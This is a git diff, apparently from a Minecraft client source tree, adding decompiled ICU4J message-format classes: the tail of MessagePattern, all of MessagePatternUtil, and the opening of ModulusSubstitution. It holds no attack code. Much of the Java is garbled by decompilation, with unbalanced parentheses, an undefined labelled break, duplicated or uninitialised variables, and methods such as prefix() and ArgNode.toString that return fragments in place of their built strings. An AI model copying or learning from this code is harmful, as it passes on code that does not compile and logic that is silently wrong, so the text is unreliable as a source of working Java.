+      throw new IllegalArgumentException("Bad argument syntax: " + prefix(nameIndex));
+    }
+    index = skipWhiteSpace(index);
+    if (index == msg.length()) {
+      throw new IllegalArgumentException("Unmatched '{' braces in message " + prefix());
+    }
+    
+    char c = msg.charAt(index);
+    if (c != '}')
+    {
+      if (c != ',') {
+        throw new IllegalArgumentException("Bad argument syntax: " + prefix(nameIndex));
+      }
+      
+      int typeIndex = index = skipWhiteSpace(index + 1);
+      while ((index < msg.length()) && (isArgTypeChar(msg.charAt(index)))) {
+        index++;
+      }
+      int length = index - typeIndex;
+      index = skipWhiteSpace(index);
+      if (index == msg.length()) {
+        throw new IllegalArgumentException("Unmatched '{' braces in message " + prefix());
+      }
+      
+      if ((length == 0) || (((c = msg.charAt(index)) != ',') && (c != '}'))) {
+        throw new IllegalArgumentException("Bad argument syntax: " + prefix(nameIndex));
+      }
+      if (length > 65535) {
+        throw new IndexOutOfBoundsException("Argument type name too long: " + prefix(nameIndex));
+      }
+      
+      argType = ArgType.SIMPLE;
+      if (length == 6)
+      {
+        if (isChoice(typeIndex)) {
+          argType = ArgType.CHOICE;
+        } else if (isPlural(typeIndex)) {
+          argType = ArgType.PLURAL;
+        } else if (isSelect(typeIndex)) {
+          argType = ArgType.SELECT;
+        }
+      } else if ((length == 13) && 
+        (isSelect(typeIndex)) && (isOrdinal(typeIndex + 6))) {
+        argType = ArgType.SELECTORDINAL;
+      }
+      
+
+      parts.get(argStart)).value = ((short)argType.ordinal());
+      if (argType == ArgType.SIMPLE) {
+        addPart(MessagePattern.Part.Type.ARG_TYPE, typeIndex, length, 0);
+      }
+      
+      if (c == '}') {
+        if (argType != ArgType.SIMPLE) {
+          throw new IllegalArgumentException("No style field for complex argument: " + prefix(nameIndex));
+        }
+      }
+      else {
+        index++;
+        if (argType == ArgType.SIMPLE) {
+          index = parseSimpleStyle(index);
+        } else if (argType == ArgType.CHOICE) {
+          index = parseChoiceStyle(index, nestingLevel);
+        } else {
+          index = parsePluralOrSelectStyle(argType, index, nestingLevel);
+        }
+      }
+    }
+    
+    addLimitPart(argStart, MessagePattern.Part.Type.ARG_LIMIT, index, 1, argType.ordinal());
+    return index + 1;
+  }
+  
+  private int parseSimpleStyle(int index) {
+    int start = index;
+    int nestedBraces = 0;
+    while (index < msg.length()) {
+      char c = msg.charAt(index++);
+      if (c == '\'')
+      {
+
+        index = msg.indexOf('\'', index);
+        if (index < 0) {
+          throw new IllegalArgumentException("Quoted literal argument style text reaches to the end of the message: " + prefix(start));
+        }
+        
+
+
+        index++;
+      } else if (c == '{') {
+        nestedBraces++;
+      } else if (c == '}') {
+        if (nestedBraces > 0) {
+          nestedBraces--;
+        } else {
+          index--;int length = index - start;
+          if (length > 65535) {
+            throw new IndexOutOfBoundsException("Argument style text too long: " + prefix(start));
+          }
+          
+          addPart(MessagePattern.Part.Type.ARG_STYLE, start, length, 0);
+          return index;
+        }
+      }
+    }
+    throw new IllegalArgumentException("Unmatched '{' braces in message " + prefix());
+  }
+  
+  private int parseChoiceStyle(int index, int nestingLevel)
+  {
+    int start = index;
+    index = skipWhiteSpace(index);
+    if ((index == msg.length()) || (msg.charAt(index) == '}')) {
+      throw new IllegalArgumentException("Missing choice argument pattern in " + prefix());
+    }
+    
+
+    for (;;)
+    {
+      int numberIndex = index;
+      index = skipDouble(index);
+      int length = index - numberIndex;
+      if (length == 0) {
+        throw new IllegalArgumentException("Bad choice pattern syntax: " + prefix(start));
+      }
+      if (length > 65535) {
+        throw new IndexOutOfBoundsException("Choice number too long: " + prefix(numberIndex));
+      }
+      
+      parseDouble(numberIndex, index, true);
+      
+      index = skipWhiteSpace(index);
+      if (index == msg.length()) {
+        throw new IllegalArgumentException("Bad choice pattern syntax: " + prefix(start));
+      }
+      char c = msg.charAt(index);
+      if ((c != '#') && (c != '<') && (c != '≤')) {
+        throw new IllegalArgumentException("Expected choice separator (#<≤) instead of '" + c + "' in choice pattern " + prefix(start));
+      }
+      
+
+      addPart(MessagePattern.Part.Type.ARG_SELECTOR, index, 1, 0);
+      
+      index = parseMessage(++index, 0, nestingLevel + 1, ArgType.CHOICE);
+      
+      if (index == msg.length()) {
+        return index;
+      }
+      if (msg.charAt(index) == '}') {
+        if (!inMessageFormatPattern(nestingLevel)) {
+          throw new IllegalArgumentException("Bad choice pattern syntax: " + prefix(start));
+        }
+        
+        return index;
+      }
+      index = skipWhiteSpace(index + 1);
+    }
+  }
+  
+  private int parsePluralOrSelectStyle(ArgType argType, int index, int nestingLevel) {
+    int start = index;
+    boolean isEmpty = true;
+    boolean hasOther = false;
+    
+
+    for (;;)
+    {
+      index = skipWhiteSpace(index);
+      boolean eos = index == msg.length();
+      if ((eos) || (msg.charAt(index) == '}')) {
+        if (eos == inMessageFormatPattern(nestingLevel)) {
+          throw new IllegalArgumentException("Bad " + argType.toString().toLowerCase(Locale.ENGLISH) + " pattern syntax: " + prefix(start));
+        }
+        
+
+
+        if (!hasOther) {
+          throw new IllegalArgumentException("Missing 'other' keyword in " + argType.toString().toLowerCase(Locale.ENGLISH) + " pattern in " + prefix());
+        }
+        
+
+
+        return index;
+      }
+      int selectorIndex = index;
+      if ((argType.hasPluralStyle()) && (msg.charAt(selectorIndex) == '='))
+      {
+        index = skipDouble(index + 1);
+        int length = index - selectorIndex;
+        if (length == 1) {
+          throw new IllegalArgumentException("Bad " + argType.toString().toLowerCase(Locale.ENGLISH) + " pattern syntax: " + prefix(start));
+        }
+        
+
+
+        if (length > 65535) {
+          throw new IndexOutOfBoundsException("Argument selector too long: " + prefix(selectorIndex));
+        }
+        
+        addPart(MessagePattern.Part.Type.ARG_SELECTOR, selectorIndex, length, 0);
+        parseDouble(selectorIndex + 1, index, false);
+      } else {
+        index = skipIdentifier(index);
+        int length = index - selectorIndex;
+        if (length == 0) {
+          throw new IllegalArgumentException("Bad " + argType.toString().toLowerCase(Locale.ENGLISH) + " pattern syntax: " + prefix(start));
+        }
+        
+
+
+
+        if ((argType.hasPluralStyle()) && (length == 6) && (index < msg.length()) && (msg.regionMatches(selectorIndex, "offset:", 0, 7)))
+        {
+
+
+          if (!isEmpty) {
+            throw new IllegalArgumentException("Plural argument 'offset:' (if present) must precede key-message pairs: " + prefix(start));
+          }
+          
+
+
+          int valueIndex = skipWhiteSpace(index + 1);
+          index = skipDouble(valueIndex);
+          if (index == valueIndex) {
+            throw new IllegalArgumentException("Missing value for plural 'offset:' " + prefix(start));
+          }
+          
+          if (index - valueIndex > 65535) {
+            throw new IndexOutOfBoundsException("Plural offset value too long: " + prefix(valueIndex));
+          }
+          
+          parseDouble(valueIndex, index, false);
+          isEmpty = false;
+          continue;
+        }
+        
+        if (length > 65535) {
+          throw new IndexOutOfBoundsException("Argument selector too long: " + prefix(selectorIndex));
+        }
+        
+        addPart(MessagePattern.Part.Type.ARG_SELECTOR, selectorIndex, length, 0);
+        if (msg.regionMatches(selectorIndex, "other", 0, length)) {
+          hasOther = true;
+        }
+      }
+      
+
+
+      index = skipWhiteSpace(index);
+      if ((index == msg.length()) || (msg.charAt(index) != '{')) {
+        throw new IllegalArgumentException("No message fragment after " + argType.toString().toLowerCase(Locale.ENGLISH) + " selector: " + prefix(selectorIndex));
+      }
+      
+
+
+      index = parseMessage(index, 1, nestingLevel + 1, argType);
+      isEmpty = false;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static int parseArgNumber(CharSequence s, int start, int limit)
+  {
+    if (start >= limit) {
+      return -2;
+    }
+    
+
+
+    char c = s.charAt(start++);
+    boolean badNumber; if (c == '0') {
+      if (start == limit) {
+        return 0;
+      }
+      int number = 0;
+      badNumber = true;
+    } else { boolean badNumber;
+      if (('1' <= c) && (c <= '9')) {
+        int number = c - '0';
+        badNumber = false;
+      } else {
+        return -1; } }
+    boolean badNumber;
+    int number; while (start < limit) {
+      c = s.charAt(start++);
+      if (('0' <= c) && (c <= '9')) {
+        if (number >= 214748364) {
+          badNumber = true;
+        }
+        number = number * 10 + (c - '0');
+      } else {
+        return -1;
+      }
+    }
+    
+    if (badNumber) {
+      return -2;
+    }
+    return number;
+  }
+  
+  private int parseArgNumber(int start, int limit)
+  {
+    return parseArgNumber(msg, start, limit);
+  }
+  
+
+
+
+
+
+  private void parseDouble(int start, int limit, boolean allowInfinity)
+  {
+    assert (start < limit);
+    
+
+
+    int value = 0;
+    int isNegative = 0;
+    int index = start;
+    char c = msg.charAt(index++);
+    if (c == '-') {
+      isNegative = 1;
+      if (index == limit) {
+        break label263;
+      }
+      c = msg.charAt(index++);
+    } else if (c == '+') {
+      if (index == limit) {
+        break label263;
+      }
+      c = msg.charAt(index++);
+    }
+    if (c == '∞') {
+      if ((allowInfinity) && (index == limit)) {
+        addArgDoublePart(isNegative != 0 ? Double.NEGATIVE_INFINITY : Double.POSITIVE_INFINITY, start, limit - start);
+
+      }
+      
+
+    }
+    else
+    {
+
+      while (('0' <= c) && (c <= '9')) {
+        value = value * 10 + (c - '0');
+        if (value > 32767 + isNegative) {
+          break;
+        }
+        if (index == limit) {
+          addPart(MessagePattern.Part.Type.ARG_INT, start, limit - start, isNegative != 0 ? -value : value);
+          return;
+        }
+        c = msg.charAt(index++);
+      }
+      
+      double numericValue = Double.parseDouble(msg.substring(start, limit));
+      addArgDoublePart(numericValue, start, limit - start);
+      return; }
+    label263:
+    throw new NumberFormatException("Bad syntax for numeric value: " + msg.substring(start, limit));
+  }
+  
+
+
+
+
+
+
+  static void appendReducedApostrophes(String s, int start, int limit, StringBuilder sb)
+  {
+    int doubleApos = -1;
+    for (;;) {
+      int i = s.indexOf('\'', start);
+      if ((i < 0) || (i >= limit)) {
+        sb.append(s, start, limit);
+        break;
+      }
+      if (i == doubleApos)
+      {
+        sb.append('\'');
+        start++;
+        doubleApos = -1;
+      }
+      else {
+        sb.append(s, start, i);
+        doubleApos = start = i + 1;
+      }
+    }
+  }
+  
+  private int skipWhiteSpace(int index) {
+    return PatternProps.skipWhiteSpace(msg, index);
+  }
+  
+  private int skipIdentifier(int index) {
+    return PatternProps.skipIdentifier(msg, index);
+  }
+  
+
+
+
+  private int skipDouble(int index)
+  {
+    while (index < msg.length()) {
+      char c = msg.charAt(index);
+      
+      if (((c < '0') && ("+-.".indexOf(c) < 0)) || ((c > '9') && (c != 'e') && (c != 'E') && (c != '∞'))) {
+        break;
+      }
+      index++;
+    }
+    return index;
+  }
+  
+  private static boolean isArgTypeChar(int c) {
+    return ((97 <= c) && (c <= 122)) || ((65 <= c) && (c <= 90));
+  }
+  
+  private boolean isChoice(int index) {
+    char c;
+    return (((c = msg.charAt(index++)) == 'c') || (c == 'C')) && (((c = msg.charAt(index++)) == 'h') || (c == 'H')) && (((c = msg.charAt(index++)) == 'o') || (c == 'O')) && (((c = msg.charAt(index++)) == 'i') || (c == 'I')) && (((c = msg.charAt(index++)) == 'c') || (c == 'C')) && (((c = msg.charAt(index)) == 'e') || (c == 'E'));
+  }
+  
+
+
+
+  private boolean isPlural(int index)
+  {
+    char c;
+    
+
+    return (((c = msg.charAt(index++)) == 'p') || (c == 'P')) && (((c = msg.charAt(index++)) == 'l') || (c == 'L')) && (((c = msg.charAt(index++)) == 'u') || (c == 'U')) && (((c = msg.charAt(index++)) == 'r') || (c == 'R')) && (((c = msg.charAt(index++)) == 'a') || (c == 'A')) && (((c = msg.charAt(index)) == 'l') || (c == 'L'));
+  }
+  
+
+
+
+  private boolean isSelect(int index)
+  {
+    char c;
+    
+
+    return (((c = msg.charAt(index++)) == 's') || (c == 'S')) && (((c = msg.charAt(index++)) == 'e') || (c == 'E')) && (((c = msg.charAt(index++)) == 'l') || (c == 'L')) && (((c = msg.charAt(index++)) == 'e') || (c == 'E')) && (((c = msg.charAt(index++)) == 'c') || (c == 'C')) && (((c = msg.charAt(index)) == 't') || (c == 'T'));
+  }
+  
+
+
+
+  private boolean isOrdinal(int index)
+  {
+    char c;
+    
+
+    return (((c = msg.charAt(index++)) == 'o') || (c == 'O')) && (((c = msg.charAt(index++)) == 'r') || (c == 'R')) && (((c = msg.charAt(index++)) == 'd') || (c == 'D')) && (((c = msg.charAt(index++)) == 'i') || (c == 'I')) && (((c = msg.charAt(index++)) == 'n') || (c == 'N')) && (((c = msg.charAt(index++)) == 'a') || (c == 'A')) && (((c = msg.charAt(index)) == 'l') || (c == 'L'));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private boolean inMessageFormatPattern(int nestingLevel)
+  {
+    return (nestingLevel > 0) || (parts.get(0)).type == MessagePattern.Part.Type.MSG_START);
+  }
+  
+
+
+
+  private boolean inTopLevelChoiceMessage(int nestingLevel, ArgType parentType)
+  {
+    return (nestingLevel == 1) && (parentType == ArgType.CHOICE) && (parts.get(0)).type != MessagePattern.Part.Type.MSG_START);
+  }
+  
+
+
+  private void addPart(MessagePattern.Part.Type type, int index, int length, int value)
+  {
+    parts.add(new Part(type, index, length, value, null));
+  }
+  
+  private void addLimitPart(int start, MessagePattern.Part.Type type, int index, int length, int value) {
+    parts.get(start)).limitPartIndex = parts.size();
+    addPart(type, index, length, value);
+  }
+  
+  private void addArgDoublePart(double numericValue, int start, int length) { int numericIndex;
+    int numericIndex;
+    if (numericValues == null) {
+      numericValues = new ArrayList();
+      numericIndex = 0;
+    } else {
+      numericIndex = numericValues.size();
+      if (numericIndex > 32767) {
+        throw new IndexOutOfBoundsException("Too many numeric values");
+      }
+    }
+    numericValues.add(Double.valueOf(numericValue));
+    addPart(MessagePattern.Part.Type.ARG_DOUBLE, start, length, numericIndex);
+  }
+  
+
+
+
+
+
+
+
+  private static String prefix(String s, int start)
+  {
+    StringBuilder prefix = new StringBuilder(44);
+    if (start == 0) {
+      prefix.append("\"");
+    } else {
+      prefix.append("[at pattern index ").append(start).append("] \"");
+    }
+    int substringLength = s.length() - start;
+    if (substringLength <= 24) {
+      prefix.append(start == 0 ? s : s.substring(start));
+    } else {
+      int limit = start + 24 - 4;
+      if (Character.isHighSurrogate(s.charAt(limit - 1)))
+      {
+        limit--;
+      }
+      prefix.append(s, start, limit).append(" ...");
+    }
+    return "\"";
+  }
+  
+  private static String prefix(String s) {
+    return prefix(s, 0);
+  }
+  
+  private String prefix(int start) {
+    return prefix(msg, start);
+  }
+  
+  private String prefix() {
+    return prefix(msg, 0);
+  }
+  
+
+
+  private ArrayList<Part> parts = new ArrayList();
+  
+  private ArrayList<Double> numericValues;
+  private boolean hasArgNames;
+  private boolean hasArgNumbers;
+  private boolean needsAutoQuoting;
+  private boolean frozen;
+  private static final ApostropheMode defaultAposMode = ApostropheMode.valueOf(ICUConfig.get("com.ibm.icu.text.MessagePattern.ApostropheMode", "DOUBLE_OPTIONAL"));
+  
+
+
+  private static final ArgType[] argTypes = ArgType.values();
+}
diff --git a/src/minecraft/com/ibm/icu/text/MessagePatternUtil.java b/src/minecraft/com/ibm/icu/text/MessagePatternUtil.java
new file mode 100644
index 0000000..230c726
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/MessagePatternUtil.java
@@ -0,0 +1,591 @@
+package com.ibm.icu.text;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MessagePatternUtil
+{
+  private MessagePatternUtil() {}
+  
+  public static MessageNode buildMessageNode(String patternString)
+  {
+    return buildMessageNode(new MessagePattern(patternString));
+  }
+  
+
+
+
+
+
+
+
+  public static MessageNode buildMessageNode(MessagePattern pattern)
+  {
+    int limit = pattern.countParts() - 1;
+    if (limit < 0)
+      throw new IllegalArgumentException("The MessagePattern is empty");
+    if (pattern.getPartType(0) != MessagePattern.Part.Type.MSG_START) {
+      throw new IllegalArgumentException("The MessagePattern does not represent a MessageFormat pattern");
+    }
+    
+    return buildMessageNode(pattern, 0, limit);
+  }
+  
+
+
+
+
+
+  public static class Node
+  {
+    private Node() {}
+  }
+  
+
+
+
+
+
+  public static class MessageNode
+    extends MessagePatternUtil.Node
+  {
+    public List<MessagePatternUtil.MessageContentsNode> getContents()
+    {
+      return list;
+    }
+    
+
+
+
+    public String toString()
+    {
+      return list.toString();
+    }
+    
+
+    private MessageNode() { super(); }
+    
+    private void addContentsNode(MessagePatternUtil.MessageContentsNode node) {
+      if (((node instanceof MessagePatternUtil.TextNode)) && (!list.isEmpty()))
+      {
+        MessagePatternUtil.MessageContentsNode lastNode = (MessagePatternUtil.MessageContentsNode)list.get(list.size() - 1);
+        if ((lastNode instanceof MessagePatternUtil.TextNode)) {
+          MessagePatternUtil.TextNode textNode = (MessagePatternUtil.TextNode)lastNode;
+          text = (text + text);
+          return;
+        }
+      }
+      list.add(node);
+    }
+    
+    private MessageNode freeze() { list = Collections.unmodifiableList(list);
+      return this;
+    }
+    
+    private List<MessagePatternUtil.MessageContentsNode> list = new ArrayList();
+  }
+  
+
+
+
+
+  public static class MessageContentsNode
+    extends MessagePatternUtil.Node
+  {
+    private Type type;
+    
+
+
+
+
+    public static enum Type
+    {
+      TEXT, 
+      
+
+
+
+
+      ARG, 
+      
+
+
+
+
+      REPLACE_NUMBER;
+      
+      private Type() {}
+    }
+    
+    public Type getType()
+    {
+      return type;
+    }
+    
+
+
+
+
+
+
+
+    public String toString()
+    {
+      return "{REPLACE_NUMBER}";
+    }
+    
+    private MessageContentsNode(Type type) {
+      super();
+      this.type = type;
+    }
+    
+    private static MessageContentsNode createReplaceNumberNode() { return new MessageContentsNode(Type.REPLACE_NUMBER); }
+  }
+  
+
+
+
+  public static class TextNode
+    extends MessagePatternUtil.MessageContentsNode
+  {
+    private String text;
+    
+
+
+
+    public String getText()
+    {
+      return text;
+    }
+    
+
+
+
+    public String toString()
+    {
+      return "«" + text + "»";
+    }
+    
+    private TextNode(String text) {
+      super(null);
+      this.text = text;
+    }
+  }
+  
+
+
+  public static class ArgNode
+    extends MessagePatternUtil.MessageContentsNode
+  {
+    private MessagePattern.ArgType argType;
+    
+    private String name;
+    
+
+    public MessagePattern.ArgType getArgType()
+    {
+      return argType;
+    }
+    
+
+
+    public String getName()
+    {
+      return name;
+    }
+    
+
+
+    public int getNumber()
+    {
+      return number;
+    }
+    
+
+
+    public String getTypeName()
+    {
+      return typeName;
+    }
+    
+
+
+
+    public String getSimpleStyle()
+    {
+      return style;
+    }
+    
+
+
+
+    public MessagePatternUtil.ComplexArgStyleNode getComplexStyle()
+    {
+      return complexStyle;
+    }
+    
+
+
+
+    public String toString()
+    {
+      StringBuilder sb = new StringBuilder();
+      sb.append('{').append(name);
+      if (argType != MessagePattern.ArgType.NONE) {
+        sb.append(',').append(typeName);
+        if (argType == MessagePattern.ArgType.SIMPLE) {
+          if (style != null) {
+            sb.append(',').append(style);
+          }
+        } else {
+          sb.append(',').append(complexStyle.toString());
+        }
+      }
+      return '}';
+    }
+    
+    private ArgNode() {
+      super(null);
+    }
+    
+    private static ArgNode createArgNode() { return new ArgNode(); }
+    
+
+
+
+    private int number = -1;
+    
+    private String typeName;
+    
+    private String style;
+    private MessagePatternUtil.ComplexArgStyleNode complexStyle;
+  }
+  
+  public static class ComplexArgStyleNode
+    extends MessagePatternUtil.Node
+  {
+    private MessagePattern.ArgType argType;
+    private double offset;
+    private boolean explicitOffset;
+    
+    public MessagePattern.ArgType getArgType()
+    {
+      return argType;
+    }
+    
+
+
+    public boolean hasExplicitOffset()
+    {
+      return explicitOffset;
+    }
+    
+
+
+
+    public double getOffset()
+    {
+      return offset;
+    }
+    
+
+
+    public List<MessagePatternUtil.VariantNode> getVariants()
+    {
+      return list;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public MessagePatternUtil.VariantNode getVariantsByType(List<MessagePatternUtil.VariantNode> numericVariants, List<MessagePatternUtil.VariantNode> keywordVariants)
+    {
+      if (numericVariants != null) {
+        numericVariants.clear();
+      }
+      keywordVariants.clear();
+      MessagePatternUtil.VariantNode other = null;
+      for (MessagePatternUtil.VariantNode variant : list) {
+        if (variant.isSelectorNumeric()) {
+          numericVariants.add(variant);
+        } else if ("other".equals(variant.getSelector())) {
+          if (other == null)
+          {
+            other = variant;
+          }
+        } else {
+          keywordVariants.add(variant);
+        }
+      }
+      return other;
+    }
+    
+
+
+
+    public String toString()
+    {
+      StringBuilder sb = new StringBuilder();
+      sb.append('(').append(argType.toString()).append(" style) ");
+      if (hasExplicitOffset()) {
+        sb.append("offset:").append(offset).append(' ');
+      }
+      return list.toString();
+    }
+    
+    private ComplexArgStyleNode(MessagePattern.ArgType argType) {
+      super();
+      this.argType = argType;
+    }
+    
+    private void addVariant(MessagePatternUtil.VariantNode variant) { list.add(variant); }
+    
+    private ComplexArgStyleNode freeze() {
+      list = Collections.unmodifiableList(list);
+      return this;
+    }
+    
+
+
+
+    private List<MessagePatternUtil.VariantNode> list = new ArrayList();
+  }
+  
+
+
+
+
+  public static class VariantNode
+    extends MessagePatternUtil.Node
+  {
+    private String selector;
+    
+
+
+
+    public String getSelector()
+    {
+      return selector;
+    }
+    
+
+
+    public boolean isSelectorNumeric()
+    {
+      return numericValue != -1.23456789E8D;
+    }
+    
+
+
+    public double getSelectorValue()
+    {
+      return numericValue;
+    }
+    
+
+
+    public MessagePatternUtil.MessageNode getMessage()
+    {
+      return msgNode;
+    }
+    
+
+
+
+    public String toString()
+    {
+      StringBuilder sb = new StringBuilder();
+      if (isSelectorNumeric()) {
+        sb.append(numericValue).append(" (").append(selector).append(") {");
+      } else {
+        sb.append(selector).append(" {");
+      }
+      return msgNode.toString() + '}';
+    }
+    
+    private VariantNode() {
+      super();
+    }
+    
+
+    private double numericValue = -1.23456789E8D;
+    private MessagePatternUtil.MessageNode msgNode;
+  }
+  
+  private static MessageNode buildMessageNode(MessagePattern pattern, int start, int limit) {
+    int prevPatternIndex = pattern.getPart(start).getLimit();
+    MessageNode node = new MessageNode(null);
+    for (int i = start + 1;; i++) {
+      MessagePattern.Part part = pattern.getPart(i);
+      int patternIndex = part.getIndex();
+      if (prevPatternIndex < patternIndex) {
+        node.addContentsNode(new TextNode(pattern.getPatternString().substring(prevPatternIndex, patternIndex), null));
+      }
+      
+
+      if (i == limit) {
+        break;
+      }
+      MessagePattern.Part.Type partType = part.getType();
+      if (partType == MessagePattern.Part.Type.ARG_START) {
+        int argLimit = pattern.getLimitPartIndex(i);
+        node.addContentsNode(buildArgNode(pattern, i, argLimit));
+        i = argLimit;
+        part = pattern.getPart(i);
+      } else if (partType == MessagePattern.Part.Type.REPLACE_NUMBER) {
+        node.addContentsNode(MessageContentsNode.access$600());
+      }
+      
+      prevPatternIndex = part.getLimit();
+    }
+    return node.freeze();
+  }
+  
+  private static ArgNode buildArgNode(MessagePattern pattern, int start, int limit) {
+    ArgNode node = ArgNode.access$800();
+    MessagePattern.Part part = pattern.getPart(start);
+    MessagePattern.ArgType argType = argType = part.getArgType();
+    part = pattern.getPart(++start);
+    name = pattern.getSubstring(part);
+    if (part.getType() == MessagePattern.Part.Type.ARG_NUMBER) {
+      number = part.getValue();
+    }
+    start++;
+    switch (1.$SwitchMap$com$ibm$icu$text$MessagePattern$ArgType[argType.ordinal()])
+    {
+    case 1: 
+      typeName = pattern.getSubstring(pattern.getPart(start++));
+      if (start < limit)
+      {
+        style = pattern.getSubstring(pattern.getPart(start));
+      }
+      break;
+    case 2: 
+      typeName = "choice";
+      complexStyle = buildChoiceStyleNode(pattern, start, limit);
+      break;
+    case 3: 
+      typeName = "plural";
+      complexStyle = buildPluralStyleNode(pattern, start, limit, argType);
+      break;
+    case 4: 
+      typeName = "select";
+      complexStyle = buildSelectStyleNode(pattern, start, limit);
+      break;
+    case 5: 
+      typeName = "selectordinal";
+      complexStyle = buildPluralStyleNode(pattern, start, limit, argType);
+      break;
+    }
+    
+    
+
+    return node;
+  }
+  
+  private static ComplexArgStyleNode buildChoiceStyleNode(MessagePattern pattern, int start, int limit)
+  {
+    ComplexArgStyleNode node = new ComplexArgStyleNode(MessagePattern.ArgType.CHOICE, null);
+    while (start < limit) {
+      int valueIndex = start;
+      MessagePattern.Part part = pattern.getPart(start);
+      double value = pattern.getNumericValue(part);
+      start += 2;
+      int msgLimit = pattern.getLimitPartIndex(start);
+      VariantNode variant = new VariantNode(null);
+      selector = pattern.getSubstring(pattern.getPart(valueIndex + 1));
+      numericValue = value;
+      msgNode = buildMessageNode(pattern, start, msgLimit);
+      node.addVariant(variant);
+      start = msgLimit + 1;
+    }
+    return node.freeze();
+  }
+  
+
+  private static ComplexArgStyleNode buildPluralStyleNode(MessagePattern pattern, int start, int limit, MessagePattern.ArgType argType)
+  {
+    ComplexArgStyleNode node = new ComplexArgStyleNode(argType, null);
+    MessagePattern.Part offset = pattern.getPart(start);
+    if (offset.getType().hasNumericValue()) {
+      explicitOffset = true;
+      offset = pattern.getNumericValue(offset);
+      start++;
+    }
+    while (start < limit) {
+      MessagePattern.Part selector = pattern.getPart(start++);
+      double value = -1.23456789E8D;
+      MessagePattern.Part part = pattern.getPart(start);
+      if (part.getType().hasNumericValue()) {
+        value = pattern.getNumericValue(part);
+        start++;
+      }
+      int msgLimit = pattern.getLimitPartIndex(start);
+      VariantNode variant = new VariantNode(null);
+      selector = pattern.getSubstring(selector);
+      numericValue = value;
+      msgNode = buildMessageNode(pattern, start, msgLimit);
+      node.addVariant(variant);
+      start = msgLimit + 1;
+    }
+    return node.freeze();
+  }
+  
+  private static ComplexArgStyleNode buildSelectStyleNode(MessagePattern pattern, int start, int limit)
+  {
+    ComplexArgStyleNode node = new ComplexArgStyleNode(MessagePattern.ArgType.SELECT, null);
+    while (start < limit) {
+      MessagePattern.Part selector = pattern.getPart(start++);
+      int msgLimit = pattern.getLimitPartIndex(start);
+      VariantNode variant = new VariantNode(null);
+      selector = pattern.getSubstring(selector);
+      msgNode = buildMessageNode(pattern, start, msgLimit);
+      node.addVariant(variant);
+      start = msgLimit + 1;
+    }
+    return node.freeze();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/ModulusSubstitution.java b/src/minecraft/com/ibm/icu/text/ModulusSubstitution.java
new file mode 100644
index 0000000..edb9abb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ModulusSubstitution.java
@@ -0,0 +1,1066 @@
+package com.ibm.icu.text;
+
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ModulusSubstitution
+  extends NFSubstitution
+{
+  double divisor;
+  NFRule ruleToUse;
+  
